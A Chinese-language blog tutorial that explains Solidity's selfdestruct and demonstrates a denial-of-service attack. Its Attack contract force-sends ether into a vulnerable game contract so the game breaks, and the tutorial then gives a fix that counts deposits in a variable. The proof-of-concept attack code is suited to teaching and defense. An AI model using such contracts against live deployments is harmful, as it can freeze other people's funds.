背景：由于公链环境下所有的信息都是共享的，智能合约相当于是完全透明化，任何人都可以调用，外加一些利益的驱动，导致引发了很多hacker的攻击。其中self destruct攻击也是常见的攻击方式之一。
目标：将目标合约瘫痪掉，无法做正常的业务。
前言
在进入正题之前，我先带大家从基础知识点开始，然后一点点深入到怎么攻击以及预防。
好，废话不多说，先看下selfdestruct的官方解释：
selfdestruct(address payable recipient)
Destroy the current contract, sending its funds to the given Address and end execution
理解起来也很简单，就是说合约销毁的时候，可以把ether转到指定的地址。
常见的用法 : 当我们的合约有漏洞或者业务变更的变化时，需要把它销毁掉，以避免造成更多的影响。此时可以在合约里提供一个销毁方法；
示例如下：
pragma solidity >=0.7.0 <0.9.0;
contract Destructible {
address payable owner;
constructor() {
owner = payable(msg.sender);
}
// 销毁合约
function destroy() public {
if (msg.sender == owner){
selfdestruct(owner);
}
}
}
当需要销毁时，合约的owner可以调用destory()方法进行合约销毁。
那接下来，我们正式进入主题，如何使用self-destory进行攻击。
攻击演示
1. 合约示例
演示需要用到的两个合约，一个模拟业务合约，一个为攻击合约。
业务合约：一个简单的游戏，每个用户每次可以存放1ether到合约里，等到第7次存放的用户将成为赢家，可以把7ether提到自己账户里。
攻击合约：编写了一个合约销毁的方法，即本合约销毁时会发送ether到指定的合约。
攻击逻辑：调用攻击合约的attack方法，使得上述的业务合约余额超过7。
示例如下：
pragma solidity >=0.7.0 <0.9.0;
// 业务合约
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
// 充值ether
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
// 提取ether
function claimReward() public {
require(msg.sender == winner, "Not winner");
winner = address(0);
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
// 查询当前余额
function balanceOf() public view returns (uint){
return address(this).balance;
}
}
// 攻击合约
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
// 合约销毁和发送ether
function attack() public payable {
// 发送ether到指定的业务合约
selfdestruct(payable(address(etherGame)));
}
}
2. 合约部署
老规矩，我们使用remix进行部署测试。
部署成功后，截图如下：
合约合约
攻击合约
3. 正常业务操作
准备两个账户A和B，分别为100ether。
具体操作流程为：A调用5次存放5ether，B调用2次存放2ether，B将成为winner，然后提取7ether。
两个账户合计调用7次后，查询余额以及winner信息，截图如下：
image.png
B账户提取ether，结果截图如下：
B账户余额
1657617049093.jpg
上面的图中可以看到，B账户成功的提取了合约里的7 ether。
4. 攻击操作
我们还是用上面的两个账户账户A和B。
具体操作流程为：A调用5次存放5ether，B调用攻击合约的attack方法并发送3ether。
业务合约.png
上图可以发现业务合约当前余额为8 ether。
攻击合约.png
上图可以看到攻击合约的owner变为0x0地址。
到此，业务合约已被攻击，即业务无法正常进行，不能存放以及提取。
下面，我们进行测试depoit和claimReward的方法调用，结果信息截图如下：
image.png
解决方案
最后，给大家推荐一个常用的方案：将全局address(this).balance改为变量统计进入deposit逻辑的ether数量。
最终代码如下所示：
pragma solidity >=0.7.0 <0.9.0;
// 业务合约
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
uint public balance;// 记录ether数量
// 充值ether
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
balance += msg.value;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
// 提取ether
function claimReward() public {
require(msg.sender == winner, "Not winner");
winner = address(0);
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed to send Ether");
}
// 查询当前余额
function balanceOf() public view returns (uint){
return address(this).balance;
}
}
今天的讲解到此结束，感谢大家的阅读，如果你有其他的想法或者建议，欢迎一块交流。
网友评论